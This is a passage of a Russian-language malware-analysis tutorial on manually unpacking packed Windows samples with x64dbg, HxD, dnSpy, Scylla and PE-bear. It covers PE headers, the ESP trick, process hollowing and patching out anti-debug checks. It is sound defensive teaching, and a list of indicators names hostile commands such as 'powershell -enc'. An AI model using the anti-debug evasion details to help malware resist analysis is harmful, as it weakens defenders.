  &lt;p id=&quot;ZsNK&quot;&gt;Без шаблона: первые два байта всегда &lt;code&gt;4D 5A&lt;/code&gt; (MZ). По смещению &lt;code&gt;0x3C&lt;/code&gt; — четыре байта, little-endian — это offset до PE-сигнатуры. Например &lt;code&gt;E0 00 00 00&lt;/code&gt; = PE-заголовок начинается с &lt;code&gt;0xE0&lt;/code&gt;. По этому смещению должно быть &lt;code&gt;50 45 00 00&lt;/code&gt; (PE\0\0).&lt;/p&gt;
  &lt;p id=&quot;SFU8&quot;&gt;После PE-сигнатуры идёт COFF Header (20 байт), затем Optional Header. В Optional Header ключевые поля:&lt;/p&gt;
  &lt;ul id=&quot;XfCB&quot;&gt;
    &lt;li id=&quot;VTD6&quot;&gt;&lt;code&gt;+0x10&lt;/code&gt; (16 байт от начала Optional Header): &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; — RVA точки входа. Это не абсолютный адрес, а смещение от &lt;code&gt;ImageBase&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;yuDf&quot;&gt;&lt;code&gt;+0x1C&lt;/code&gt;: &lt;code&gt;ImageBase&lt;/code&gt; — куда загружается PE в памяти.&lt;/li&gt;
    &lt;li id=&quot;dj72&quot;&gt;&lt;code&gt;+0x68&lt;/code&gt;: начало Data Directories. Первые 8 байт = Export Table RVA + Size. Следующие 8 = Import Table RVA + Size. Если Import Table RVA = &lt;code&gt;00 00 00 00&lt;/code&gt; — импортов нет, файл упакован.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;s6Nb&quot;&gt;Восстановление повреждённого UPX-заголовка&lt;/h3&gt;
  &lt;p id=&quot;5BY0&quot;&gt;Малварь часто затирает блок &amp;quot;UPX!&amp;quot; (байты &lt;code&gt;55 50 58 21&lt;/code&gt;) чтобы сломать &lt;code&gt;upx -d&lt;/code&gt;. При этом секции UPX0 и UPX1 остаются — DIE их видит.&lt;/p&gt;
  &lt;p id=&quot;jSec&quot;&gt;Порядок восстановления:&lt;/p&gt;
  &lt;p id=&quot;t71z&quot;&gt;Шаг 1 — найти где должен быть блок. В штатном UPX он находится в overlay (после последней секции). Перейти в конец файла. Искать последовательность из ~20 байт где должны быть: версия UPX, размеры, сигнатура.&lt;/p&gt;
  &lt;p id=&quot;0U4O&quot;&gt;Шаг 2 — в HxD: Ctrl+F → Hex Values → ввести &lt;code&gt;55 50 58 30&lt;/code&gt; (это &amp;quot;UPX0&amp;quot; — начало имени первой секции). Так находим секции. Теперь в конце файла искать где был overlay block. Структура: 4 байта compressed size + 4 байта original size + 4 байта filter ID + 4 байта &amp;quot;UPX!&amp;quot;.&lt;/p&gt;
  &lt;p id=&quot;KLZg&quot;&gt;Шаг 3 — если блок затёрт нулями или мусором: вписать &lt;code&gt;55 50 58 21&lt;/code&gt; (&lt;code&gt;U P X !&lt;/code&gt;) на нужное место. Сохранить копию файла. Пробовать &lt;code&gt;upx -d --force&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;CPwi&quot;&gt;Шаг 4 — если upx всё равно не берёт: малварь могла изменить сами заголовки секций чтобы UPX не смог пересчитать размеры. В этом случае единственный путь — ручной ESP trick.&lt;/p&gt;
  &lt;h3 id=&quot;Yweo&quot;&gt;Поиск embedded PE без инструментов&lt;/h3&gt;
  &lt;p id=&quot;r7PP&quot;&gt;В HEX-редакторе: Ctrl+F → Hex → ввести &lt;code&gt;4D 5A 90 00&lt;/code&gt; (стандартное начало PE после MZ). Если находит не в начале файла — там embedded PE, дроппер несёт payload в себе. Записать offset. Дальше от этого offset читать как обычный PE: &lt;code&gt;+0x3C&lt;/code&gt; → PE offset, и так далее.&lt;/p&gt;
  &lt;p id=&quot;r1ar&quot;&gt;Искать также паттерн &lt;code&gt;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/code&gt; длиной &amp;gt; 64 байт в середине файла — это padding. Малварь часто хранит зашифрованный конфиг именно в таких &amp;quot;пустых&amp;quot; областях: смотреть на энтропию соседних байт.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;5klJ&quot;&gt;Раздел 3: x64dbg — детальная работа&lt;/h2&gt;
  &lt;h3 id=&quot;dy7N&quot;&gt;Настройка перед первым запуском&lt;/h3&gt;
  &lt;p id=&quot;S3pb&quot;&gt;Прежде чем открывать образец: Options → Preferences → Events — убедиться что включены: &amp;quot;System Breakpoint&amp;quot;, &amp;quot;Entry Breakpoint&amp;quot;, &amp;quot;TLS Callbacks&amp;quot;. TLS Callbacks критичны — если они включены в малвари, anti-debug код выполнится до EP, и без остановки на TLS ты пропустишь его.&lt;/p&gt;
  &lt;p id=&quot;izjo&quot;&gt;Plugins → ScyllaHide → Options. Включить весь раздел &amp;quot;General&amp;quot;: &lt;code&gt;IsDebuggerPresent&lt;/code&gt;, &lt;code&gt;CheckRemoteDebuggerPresent&lt;/code&gt;, &lt;code&gt;NtQueryInformationProcess&lt;/code&gt;, &lt;code&gt;NtSetInformationThread&lt;/code&gt;. Включить раздел &amp;quot;NtApi&amp;quot;: &lt;code&gt;NtClose&lt;/code&gt;, &lt;code&gt;NtSetDebugFilterState&lt;/code&gt;. Сохранить профиль.&lt;/p&gt;
  &lt;h3 id=&quot;inqt&quot;&gt;Ориентация в интерфейсе&lt;/h3&gt;
  &lt;p id=&quot;SxRf&quot;&gt;Четыре основных панели:&lt;/p&gt;
  &lt;ul id=&quot;VsM6&quot;&gt;
    &lt;li id=&quot;Z5WH&quot;&gt;Верхняя левая — дизасм (код). Колонки: адрес, байты, мнемоника, операнды, комментарии.&lt;/li&gt;
    &lt;li id=&quot;L7S3&quot;&gt;Верхняя правая — регистры. EAX-EDI (x86) или RAX-RDI (x64), флаги, сегментные регистры.&lt;/li&gt;
    &lt;li id=&quot;HfU3&quot;&gt;Нижняя левая — дамп памяти. Следит за адресом, можно следить за любым регистром или адресом.&lt;/li&gt;
    &lt;li id=&quot;oeFI&quot;&gt;Нижняя правая — стек. Показывает текущий ESP и содержимое стека.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;xqej&quot;&gt;Горячие клавиши которые нужны постоянно:&lt;/p&gt;
  &lt;p id=&quot;gd0z&quot;&gt;Действие Клавиша     Run F9   Step Into F7   Step Over F8   Run to cursor F4   Execute till return Ctrl+F9   Toggle BP F2   Memory Map Alt+M   Go to address Ctrl+G   Follow in dump Ctrl+D   Command line фокус Space в дизасме   Restart Ctrl+F2&lt;/p&gt;
  &lt;h3 id=&quot;OI0x&quot;&gt;Чтение стека при остановке на API&lt;/h3&gt;
  &lt;p id=&quot;j6Y8&quot;&gt;Когда x64dbg останавливается на входе в API-функцию (например VirtualAlloc), аргументы находятся на стеке. В x86 они передаются через стек, в x64 — первые четыре через регистры RCX, RDX, R8, R9.&lt;/p&gt;
  &lt;p id=&quot;kAoq&quot;&gt;Для x86: в панели Stack смотреть с ESP+4 (первый аргумент после адреса возврата):&lt;/p&gt;
  &lt;pre id=&quot;MTkc&quot;&gt;[ESP+00] = адрес возврата (куда вернётся функция)
[ESP+04] = первый аргумент
[ESP+08] = второй аргумент
[ESP+0C] = третий аргумент
[ESP+10] = четвёртый аргумент
&lt;/pre&gt;
  &lt;p id=&quot;P5zc&quot;&gt;Для &lt;code&gt;VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)&lt;/code&gt; это &lt;code&gt;[ESP+04]&lt;/code&gt;, &lt;code&gt;[ESP+08]&lt;/code&gt;, &lt;code&gt;[ESP+0C]&lt;/code&gt;, &lt;code&gt;[ESP+10]&lt;/code&gt; соответственно. Значение &lt;code&gt;flProtect = 0x40&lt;/code&gt; (PAGE_EXECUTE_READWRITE) — это payload.&lt;/p&gt;
  &lt;p id=&quot;1OYj&quot;&gt;Для x64: первые 4 аргумента в RCX, RDX, R8, R9 — читать прямо из регистров в правой панели.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;3zt5&quot;&gt;Раздел 4: ESP Trick — полная механика&lt;/h2&gt;
  &lt;h3 id=&quot;7XUb&quot;&gt;Что происходит внутри&lt;/h3&gt;
  &lt;p id=&quot;kmnq&quot;&gt;Stub паккера при старте делает &lt;code&gt;PUSHAD&lt;/code&gt; — кладёт на стек значения всех восьми регистров (EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI) в именно таком порядке. ESP уменьшается на 32 байта (8 × 4). После &lt;code&gt;PUSHAD&lt;/code&gt; ESP указывает на первое сохранённое значение (EDI).&lt;/p&gt;
  &lt;p id=&quot;iJbK&quot;&gt;Потом stub делает свою работу: расшифровывает, распаковывает, перемещает секции. В конце — &lt;code&gt;POPAD&lt;/code&gt;: восстанавливает все 8 регистров, записывая их обратно в память по адресу текущего ESP. Именно этот момент записи и перехватывает Hardware Breakpoint.&lt;/p&gt;
  &lt;h3 id=&quot;Ren9&quot;&gt;Почему нужно делать F7 перед Follow in Dump&lt;/h3&gt;
  &lt;p id=&quot;erKn&quot;&gt;Если сделать Follow in Dump до F7 (то есть до выполнения PUSHAD), ESP ещё не изменился — ты поставишь HW BP на &amp;quot;неправильный&amp;quot; адрес: туда, где стек был до сохранения регистров, а не туда, куда POPAD будет писать.&lt;/p&gt;
  &lt;p id=&quot;q2l5&quot;&gt;После одного F7 (выполнился PUSHAD) ESP уменьшился на 32 байта. Теперь этот адрес — именно то место, куда POPAD запишет сохранённый EDI. HW BP на запись сюда сработает при POPAD.&lt;/p&gt;
  &lt;h3 id=&quot;Nt3X&quot;&gt;Что делать если после POPAD несколько инструкций до OEP&lt;/h3&gt;
  &lt;p id=&quot;xBln&quot;&gt;Иногда картина не такая прямолинейная:&lt;/p&gt;
  &lt;pre id=&quot;moKd&quot;&gt;POPAD
LEA EAX, [EBP - 0x4C]    ; ← остановились здесь, не JMP
CALL EAX                   ; ← это и есть прыжок на OEP
&lt;/pre&gt;
  &lt;p id=&quot;QWrT&quot;&gt;Или:&lt;/p&gt;
  &lt;pre id=&quot;zhq9&quot;&gt;POPAD
ADD EBP, 0x100
JMP [EBP + 0x4]            ; косвенный прыжок через таблицу
&lt;/pre&gt;
  &lt;p id=&quot;M5VA&quot;&gt;В таких случаях: F8 несколько раз, наблюдая за EIP. Как только EIP попал в &amp;quot;нормальный&amp;quot; регион (основной модуль, не stub) — ты на OEP. Проверить: правый клик на текущем адресе в дизасме → &amp;quot;Module: [имя файла]&amp;quot; — если видишь имя малвари, а не что-то вроде &amp;quot;MEM_00400000&amp;quot; без имени, то ты в основном коде.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;7ati&quot;&gt;Раздел 5: VirtualAlloc BP — тонкости&lt;/h2&gt;
  &lt;h3 id=&quot;ooEx&quot;&gt;Как отличить нужный вызов от служебных&lt;/h3&gt;
  &lt;p id=&quot;jsOF&quot;&gt;Паккер может вызывать VirtualAlloc несколько раз. Первые вызовы обычно служебные — для структур CRT, стека нового потока, служебных буферов. Нас интересует вызов с &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; (0x40) и большим &lt;code&gt;dwSize&lt;/code&gt; (&amp;gt; 0x1000).&lt;/p&gt;
  &lt;p id=&quot;7xkF&quot;&gt;В x64dbg можно поставить &lt;strong&gt;условный BP&lt;/strong&gt;: правый клик на BP в списке Breakpoints → Conditions. Ввести условие: в x86 это проверка четвёртого аргумента на стеке. В командной строке это записывается так: добавить команду &lt;code&gt;log&lt;/code&gt; чтобы логировать каждый вызов без остановки, и потом смотреть лог — найдёшь нужный по dwSize.&lt;/p&gt;
  &lt;h3 id=&quot;ltZv&quot;&gt;После нахождения нового региона&lt;/h3&gt;
  &lt;p id=&quot;Ctek&quot;&gt;Выйти из VirtualAlloc через Ctrl+F9. EAX содержит базовый адрес нового региона. Этот регион пока пустой — код туда только будет записан. Если поставить BP Execute прямо сейчас, он сработает когда stub начнёт исполнять первую инструкцию из этого региона.&lt;/p&gt;
  &lt;p id=&quot;QiDM&quot;&gt;Открыть Alt+M (Memory Map). Найти регион по адресу из EAX. Правый клик → Set Access Breakpoint → Execute. Продолжать F9 — BP сработает на первой инструкции payload.&lt;/p&gt;
  &lt;h3 id=&quot;96Ex&quot;&gt;Если паккер вызывает NtAllocateVirtualMemory напрямую&lt;/h3&gt;
  &lt;p id=&quot;tPaM&quot;&gt;Некоторые паккеры обходят &lt;code&gt;VirtualAlloc&lt;/code&gt; и вызывают ntdll напрямую через syscall. В этом случае BP на &lt;code&gt;VirtualAlloc&lt;/code&gt; вообще не срабатывает.&lt;/p&gt;
  &lt;p id=&quot;6sGc&quot;&gt;Признак: вызовов VirtualAlloc нет, но в Memory Map появляются новые приватные регионы. Решение: поставить BP на &lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt;. Сигнатура отличается — аргументы другие, &lt;code&gt;flProtect&lt;/code&gt; это пятый аргумент (&lt;code&gt;[ESP+14]&lt;/code&gt; в x86).&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;tKui&quot;&gt;Раздел 6: Anti-debug — ручной обход без ScyllaHide&lt;/h2&gt;
  &lt;h3 id=&quot;Zxou&quot;&gt;IsDebuggerPresent — патч в дизасме&lt;/h3&gt;
  &lt;p id=&quot;X1if&quot;&gt;Найти в дизасме паттерн чтения из PEB. Это выглядит так:&lt;/p&gt;
  &lt;pre id=&quot;10OA&quot;&gt;MOV EAX, DWORD PTR FS:[30]    ; читает адрес PEB из TEB
MOVZX EAX, BYTE PTR [EAX+2]  ; читает PEB.BeingDebugged (offset 0x2)
TEST EAX, EAX
JNZ 0x004012AB                ; прыгает если дебаггер есть
&lt;/pre&gt;
  &lt;p id=&quot;T2rZ&quot;&gt;Способ 1 — патч JNZ в JMP с инверсией: правый клик на &lt;code&gt;JNZ&lt;/code&gt; → Assemble. Ввести &lt;code&gt;JMP SHORT [адрес хорошего пути]&lt;/code&gt; — адрес инструкции после JNZ, то есть обойти ветку &amp;quot;есть дебаггер&amp;quot;. Нажать OK. x64dbg пропатчит байты.&lt;/p&gt;
  &lt;p id=&quot;6ewg&quot;&gt;Способ 2 — нулить EAX в рантайме: поставить BP на &lt;code&gt;TEST EAX, EAX&lt;/code&gt;. Когда остановится — в командной строке ввести &lt;code&gt;EAX = 0&lt;/code&gt;. Нажать Enter. F9 — продолжить. JNZ теперь не прыгнет. Этот способ не требует патча файла, только меняет состояние регистра в этот конкретный момент.&lt;/p&gt;
  &lt;h3 id=&quot;aDjz&quot;&gt;NtQueryInformationProcess ProcessDebugPort&lt;/h3&gt;
  &lt;p id=&quot;ZmnW&quot;&gt;Продвинутее: вызывает ntdll напрямую. Если возвращает ненулевое значение — дебаггер есть.&lt;/p&gt;
  &lt;p id=&quot;8w8O&quot;&gt;Искать в дизасме: &lt;code&gt;PUSH 7&lt;/code&gt; (ProcessDebugPort = 7) перед вызовом NtQueryInformationProcess, или поиск по имени функции через Ctrl+G.&lt;/p&gt;
  &lt;p id=&quot;U3AE&quot;&gt;Поставить BP на вызов. При срабатывании смотреть &lt;code&gt;[ESP+0C]&lt;/code&gt; — адрес буфера куда функция запишет результат. После Ctrl+F9 (вернуться из функции) — в этом буфере будет значение. Если ненулевое — перейти в Dump на этот адрес, вручную вписать нули. Продолжить.&lt;/p&gt;
  &lt;h3 id=&quot;zKHN&quot;&gt;Timing checks — RDTSC&lt;/h3&gt;
  &lt;p id=&quot;veoe&quot;&gt;Паккер вызывает &lt;code&gt;RDTSC&lt;/code&gt; дважды и сравнивает разницу. В нормальных условиях разница мала. С дебаггером — большая (ты пошагово ходишь).&lt;/p&gt;
  &lt;p id=&quot;Xbek&quot;&gt;В дизасме искать байты &lt;code&gt;0F 31&lt;/code&gt; — это опкод RDTSC. Найти оба вхождения. Поставить BP на второй RDTSC.&lt;/p&gt;
  &lt;p id=&quot;wPcM&quot;&gt;Когда остановился на втором RDTSC: посмотреть значения EDX:EAX с первого замера (они должны быть где-то сохранены в памяти или регистрах). Скопировать их в текущие EDX и EAX командами &lt;code&gt;EDX = значение&lt;/code&gt; и &lt;code&gt;EAX = значение&lt;/code&gt; в командной строке. Продолжить. Разница будет нулевой, проверка пройдёт.&lt;/p&gt;
  &lt;p id=&quot;5fsK&quot;&gt;Альтернатива: найти &lt;code&gt;SUB&lt;/code&gt; или &lt;code&gt;CMP&lt;/code&gt; после второго RDTSC — там вычисляется разница и сравнивается с порогом. Найти &lt;code&gt;JA&lt;/code&gt; или &lt;code&gt;JG&lt;/code&gt; после — изменить на &lt;code&gt;JMP&lt;/code&gt; на хороший путь.&lt;/p&gt;
  &lt;h3 id=&quot;EHaS&quot;&gt;TLS Callbacks&lt;/h3&gt;
  &lt;p id=&quot;DxN4&quot;&gt;Выполняются до &lt;code&gt;AddressOfEntryPoint&lt;/code&gt;. Если в PEStudio видишь в Data Directories запись &amp;quot;TLS Directory&amp;quot; — там есть callbacks. В x64dbg: Options → Preferences → Events → поставить галочку &amp;quot;TLS Callbacks&amp;quot;. Теперь x64dbg остановится на каждом TLS callback до EP. Это место где может быть anti-debug код — анализировать так же, как и EP.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;FYj5&quot;&gt;Раздел 7: Process Hollowing — пошагово&lt;/h2&gt;
  &lt;h3 id=&quot;cLaM&quot;&gt;Как читать CONTEXT структуру в дампе&lt;/h3&gt;
  &lt;p id=&quot;5O0T&quot;&gt;При BP на &lt;code&gt;SetThreadContext&lt;/code&gt; нужно найти OEP в структуре CONTEXT. Аргумент &lt;code&gt;pContext&lt;/code&gt; — это указатель, его значение видно в стеке (&lt;code&gt;[ESP+08]&lt;/code&gt; для x86). Перейти в Dump по этому адресу.&lt;/p&gt;
  &lt;p id=&quot;wUT5&quot;&gt;Структура CONTEXT для x86 (WinNT.h):&lt;/p&gt;
  &lt;pre id=&quot;ttJj&quot;&gt;+0x00  ContextFlags (4 байта)
+0x04  Dr0-Dr7 (отладочные регистры, 8×4 = 32 байта)
+0x24  SegGs, SegFs, SegEs, SegDs (4×4 = 16 байт)
+0x34  Edi, Esi, Ebx, Edx, Ecx, Eax (6×4 = 24 байт)
+0x4C  Ebp
+0x50  Eip  ← OEP здесь (offset 0x50 от начала CONTEXT)  
+0x54  SegCs
+0x58  EFlags
+0x5C  Esp
+0x60  SegSs
&lt;/pre&gt;
  &lt;p id=&quot;Uusf&quot;&gt;Для x64 CONTEXT гораздо больше. &lt;code&gt;Rip&lt;/code&gt; находится на offset &lt;code&gt;0x080&lt;/code&gt; от начала структуры &lt;code&gt;CONTEXT&lt;/code&gt;. Прочитать 8 байт little-endian по этому смещению — это RIP (OEP) x64-кода.&lt;/p&gt;
  &lt;h3 id=&quot;VLfU&quot;&gt;Работа с двумя процессами одновременно&lt;/h3&gt;
  &lt;p id=&quot;lDH3&quot;&gt;Открыть второй экземпляр x64dbg. Не второй файл — именно второй экземпляр программы. В нём: File → Attach → выбрать процесс-жертву по имени (svchost, notepad). x64dbg приостановит его.&lt;/p&gt;
  &lt;p id=&quot;fJVw&quot;&gt;Теперь поставить BP на адрес OEP (который мы нашли в CONTEXT.Eip) в дизасме второго экземпляра. Переключиться обратно в первый экземпляр (malware.exe). Нажать F9 — дать малвари выполниться до ResumeThread. Второй экземпляр x64dbg остановится на OEP payload в жертве.&lt;/p&gt;
  &lt;p id=&quot;HrMe&quot;&gt;Теперь из второго экземпляра открывать Scylla и дампить — именно из жертвы, не из оригинальной малвари.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;NUPj&quot;&gt;Раздел 8: .NET — ручная работа в dnSpy&lt;/h2&gt;
  &lt;h3 id=&quot;vyb8&quot;&gt;Ориентация в структуре сборки&lt;/h3&gt;
  &lt;p id=&quot;D510&quot;&gt;После открытия в dnSpy слева дерево: сборка → namespaces → классы → методы. Искать точку входа: правый клик на сборке → Go to Entry Point. Или Ctrl+Shift+F → поиск строки &amp;quot;Main&amp;quot;.&lt;/p&gt;
  &lt;p id=&quot;ehrp&quot;&gt;Маркеры что перед нами загрузчик второй стадии:&lt;/p&gt;
  &lt;ul id=&quot;Tslb&quot;&gt;
    &lt;li id=&quot;l6jF&quot;&gt;Метод принимает &lt;code&gt;byte[]&lt;/code&gt; и возвращает &lt;code&gt;string&lt;/code&gt; — почти всегда дешифратор строк&lt;/li&gt;
    &lt;li id=&quot;Pgo7&quot;&gt;Вызов &lt;code&gt;Assembly.Load(byte[])&lt;/code&gt; — загружает embedded PE в память CLR&lt;/li&gt;
    &lt;li id=&quot;HJft&quot;&gt;Вызов &lt;code&gt;Convert.FromBase64String()&lt;/code&gt; + последующий XOR-цикл — расшифровывает payload&lt;/li&gt;
    &lt;li id=&quot;7LM8&quot;&gt;Метод &lt;code&gt;Module.cctor&lt;/code&gt; (статический конструктор модуля) — часто инициализирует дешифратор&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;65Wx&quot;&gt;Чтение зашифрованных строк без de4dot&lt;/h3&gt;
  &lt;p id=&quot;X7et&quot;&gt;Если de4dot не справился с деобфускацией строк: найти метод-дешифратор вручную. Признаки: приватный статический метод, принимает &lt;code&gt;int&lt;/code&gt;, возвращает &lt;code&gt;string&lt;/code&gt;, содержит byte-массив и XOR или другую арифметику.&lt;/p&gt;
  &lt;p id=&quot;K39J&quot;&gt;В dnSpy перейти в этот метод. Найти последнюю строку перед &lt;code&gt;return&lt;/code&gt; — там формируется возвращаемое значение. Кликнуть на эту строку → F9 (Add Breakpoint). Запустить (F5).&lt;/p&gt;
  &lt;p id=&quot;LWBP&quot;&gt;При каждой остановке в нижней части dnSpy — вкладка Locals. Там видна локальная переменная содержащая расшифрованную строку. Копировать вручную. Это медленно но работает для ключевых строк (C2, ключи шифрования, пути).&lt;/p&gt;
  &lt;h3 id=&quot;tazY&quot;&gt;Нахождение embedded PE через ресурсы&lt;/h3&gt;
  &lt;p id=&quot;hjh6&quot;&gt;В дереве слева: развернуть сборку → найти ветку &amp;quot;Resources&amp;quot;. Если там есть записи с бинарными данными или подозрительными именами — двойной клик. dnSpy покажет hex-содержимое. Если первые байты &lt;code&gt;1F 8B&lt;/code&gt; — GZip. Если &lt;code&gt;4D 5A&lt;/code&gt; — прямо PE.&lt;/p&gt;
  &lt;p id=&quot;au42&quot;&gt;Правый клик на ресурсе → Save Resource → сохранить как файл. Затем открывать в DIE и PEStudio.&lt;/p&gt;
  &lt;p id=&quot;9AYC&quot;&gt;Для Costura/Fody: имена ресурсов содержат &lt;code&gt;.dll.compressed&lt;/code&gt;. Содержимое: сначала идут несколько байт заголовка Costura, потом GZip-данные. Посмотреть в HEX: найти &lt;code&gt;1F 8B&lt;/code&gt; — это начало GZip-потока. Сохранить всё начиная с &lt;code&gt;1F 8B&lt;/code&gt; как отдельный файл с расширением &lt;code&gt;.gz&lt;/code&gt;. Распаковать любым архиватором — получишь DLL.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;P5DP&quot;&gt;Раздел 9: Scylla и PE-bear — ручные правки&lt;/h2&gt;
  &lt;h3 id=&quot;Y1cy&quot;&gt;Диагностика проблем с IAT&lt;/h3&gt;
  &lt;p id=&quot;oU7K&quot;&gt;Красные записи в Scylla означают что указатель в IAT ведёт на адрес, который Scylla не может разрешить в имя функции. Причины:&lt;/p&gt;
  &lt;p id=&quot;5gFx&quot;&gt;Причина 1 — паккер обфусцировал IAT: вместо прямых указателей на API там стоят промежуточные thunk-функции. В дизасме они выглядят как &lt;code&gt;JMP [реальный адрес]&lt;/code&gt;. Scylla умеет такие разрешать через кнопку &amp;quot;Fix&amp;quot; — попробовать её.&lt;/p&gt;
  &lt;p id=&quot;KMnt&quot;&gt;Причина 2 — паккер восстановил IAT не полностью на момент дампа. Значит ты взял дамп слишком рано. Нужно дать паккеру немного &amp;quot;пробежать&amp;quot; на OEP — несколько F8 — чтобы IAT полностью восстановилась.&lt;/p&gt;
  &lt;p id=&quot;hVlq&quot;&gt;Причина 3 — hook-based IAT: некоторые паккеры заменяют указатели в IAT на свои функции-перехватчики. После дампа такие записи красные. Правый клик → Delete на каждую красную запись. Это лучше чем оставить — дамп без этих импортов будет работать нормально для статического анализа.&lt;/p&gt;
  &lt;h3 id=&quot;rBEh&quot;&gt;Ручное исправление ImageBase в PE-bear&lt;/h3&gt;
  &lt;p id=&quot;oqc2&quot;&gt;Открыть дамп в PE-bear. Левая панель: выбрать &amp;quot;Optional Header&amp;quot;. Смотреть поле &amp;quot;Image Base&amp;quot;. Оно должно совпадать с реальным адресом загрузки который ты видел в Memory Map x64dbg.&lt;/p&gt;
  &lt;p id=&quot;GZlV&quot;&gt;Если они расходятся: двойной клик на поле Image Base → вписать правильное значение → Enter → сохранить через File → Save. Не сохранять в оригинальный файл — всегда в новую копию.&lt;/p&gt;
  &lt;h3 id=&quot;0UgL&quot;&gt;Вычисление RVA OEP вручную&lt;/h3&gt;
  &lt;p id=&quot;pHSO&quot;&gt;Абсолютный адрес OEP ты знаешь из x64dbg (например &lt;code&gt;0x00401A30&lt;/code&gt;). ImageBase из PE-bear (например &lt;code&gt;0x00400000&lt;/code&gt;). RVA = &lt;code&gt;0x00401A30 - 0x00400000 = 0x1A30&lt;/code&gt;. В PE-bear: Optional Header → Address Of Entry Point → вписать &lt;code&gt;0x1A30&lt;/code&gt;.&lt;/p&gt;
  &lt;h3 id=&quot;DwkH&quot;&gt;Исправление секций с нулевым Raw Size&lt;/h3&gt;
  &lt;p id=&quot;35RO&quot;&gt;В PE-bear: вкладка &amp;quot;Section Headers&amp;quot;. Каждая секция имеет строку. Колонки: Name, Virtual Size, Virtual Address, Raw Size, Raw Offset, Characteristics.&lt;/p&gt;
  &lt;p id=&quot;C7Qo&quot;&gt;Если Raw Size = 0 при ненулевом Virtual Size: вписать в Raw Size значение равное Virtual Size, выровненное по &lt;code&gt;FileAlignment&lt;/code&gt; (это поле тоже в Optional Header, обычно &lt;code&gt;0x200&lt;/code&gt; или &lt;code&gt;0x1000&lt;/code&gt;). Формула выравнивания: &lt;code&gt;((VirtualSize + FileAlignment - 1) / FileAlignment) * FileAlignment&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;k044&quot;&gt;Пример: Virtual Size = &lt;code&gt;0x3A40&lt;/code&gt;, FileAlignment = &lt;code&gt;0x200&lt;/code&gt;. Выровненный Raw Size = &lt;code&gt;((0x3A40 + 0x1FF) / 0x200) * 0x200 = 0x3C00&lt;/code&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;weOK&quot;&gt;Раздел 10: Верификация без скриптов&lt;/h2&gt;
  &lt;h3 id=&quot;CXbF&quot;&gt;Последовательность проверки&lt;/h3&gt;
  &lt;p id=&quot;29VI&quot;&gt;Открыть &lt;code&gt;malware_dump_SCY.exe&lt;/code&gt; в DIE. Если не показывает паккер — хорошо. Смотреть энтропию по секциям: &lt;code&gt;.text&lt;/code&gt; должна быть ниже 6.5.&lt;/p&gt;
  &lt;p id=&quot;ogWX&quot;&gt;Открыть в PEStudio. Вкладка Libraries: должно быть 5+ библиотек с реальными именами. Вкладка Functions: должны быть осмысленные имена API. Вкладка Strings: должны быть читаемые строки — это главный признак успеха.&lt;/p&gt;
  &lt;p id=&quot;gQfH&quot;&gt;Открыть в Ghidra. File → Import → выбрать дамп. Формат PE. Analyze → Yes → Auto Analysis. Подождать. После окончания: Window → Functions. Если видишь имена вроде &lt;code&gt;CreateMutexA&lt;/code&gt;, &lt;code&gt;InternetOpenUrl&lt;/code&gt; — IAT восстановлена правильно и Ghidra видит символы. Если всё &lt;code&gt;FUN_00401000&lt;/code&gt; — IAT пустая или неправильная.&lt;/p&gt;
  &lt;h3 id=&quot;fhRx&quot;&gt;Ручная проверка IOC в PEStudio&lt;/h3&gt;
  &lt;p id=&quot;9V0v&quot;&gt;Вкладка Strings → нажать на заголовок колонки &amp;quot;Blacklist&amp;quot; чтобы отсортировать по подозрительности. Смотреть красные строки. Что искать:&lt;/p&gt;
  &lt;ul id=&quot;2nRK&quot;&gt;
    &lt;li id=&quot;bnnP&quot;&gt;URL-паттерны: &lt;code&gt;http://&lt;/code&gt;, &lt;code&gt;https://&lt;/code&gt;, IP-адреса вида &lt;code&gt;XXX.XXX.XXX.XXX&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;HflG&quot;&gt;Системные пути: &lt;code&gt;\AppData\&lt;/code&gt;, &lt;code&gt;\Temp\&lt;/code&gt;, &lt;code&gt;\System32\&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;H2ph&quot;&gt;Реестровые ключи: &lt;code&gt;HKLM\&lt;/code&gt;, &lt;code&gt;HKCU\Software\&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;tmz5&quot;&gt;Имена мьютексов: одиночные строки без смысла — &lt;code&gt;{GUID-like}&lt;/code&gt;, &lt;code&gt;Global\mutex_name&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;6pZA&quot;&gt;Команды: &lt;code&gt;cmd.exe /c&lt;/code&gt;, &lt;code&gt;powershell -enc&lt;/code&gt;, &lt;code&gt;reg add&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Thni&quot;&gt;Вкладка Functions → искать: &lt;code&gt;CreateMutexA&lt;/code&gt; (persistence marker), &lt;code&gt;InternetOpenA&lt;/code&gt;/&lt;code&gt;WinHttpOpen&lt;/code&gt; (network), &lt;code&gt;RegSetValueExA&lt;/code&gt; (registry persistence), &lt;code&gt;CreateServiceA&lt;/code&gt; (service installation), &lt;code&gt;WriteFile&lt;/code&gt; + путь в Temp = дроппер.&lt;/p&gt;
  &lt;h3 id=&quot;ITWO&quot;&gt;Финальный вывод&lt;/h3&gt;
